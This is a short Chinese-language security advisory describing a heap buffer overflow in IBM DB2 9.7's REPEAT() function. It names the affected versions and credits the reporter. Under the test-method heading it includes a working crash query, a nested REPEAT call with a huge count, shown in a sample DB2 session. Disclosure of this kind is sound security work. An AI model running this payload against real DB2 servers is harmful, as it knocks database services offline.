IBM DB2 ‘REPEAT()’堆缓冲区溢出漏洞

漏洞起因
边界条件错误
危险等级

 
影响系统
IBM DB2 Universal Database 9.7.1
IBM DB2 Universal Database 9.7
 
不受影响系统
 
危害
远程攻击者可以利用漏洞使服务程序崩溃。
 
攻击所需条件
攻击者必须访问IBM DB2。
 
漏洞信息
IBM DB2 Universal Database Server是一款大型的商业关系数据库系统。
IBM DB2 repeat()函数存在堆缓冲区溢出,远程攻击者可以利用漏洞使服务程序崩溃。
 
测试方法
$ db2
(c) Copyright IBM Corporation 1993,2007
Command Line Processor for DB2 Client 9.7.1
db2 => connect to sample
Database Connection Information
Database server = DB2/LINUX 9.7.1
SQL authorization ID = DB2INST1
Local database alias = SAMPLE
db2 => SELECT REPEAT(REPEAT(‘1’,1000),1073741825) FROM SYSIBM.SYSDUMMY1
 
厂商解决方案
目前没有解决方案提供:
http://www-306.ibm.com/software/data/db2/
 
漏洞提供者
Evgeny Legerov

发表评论?

0 条评论。

发表评论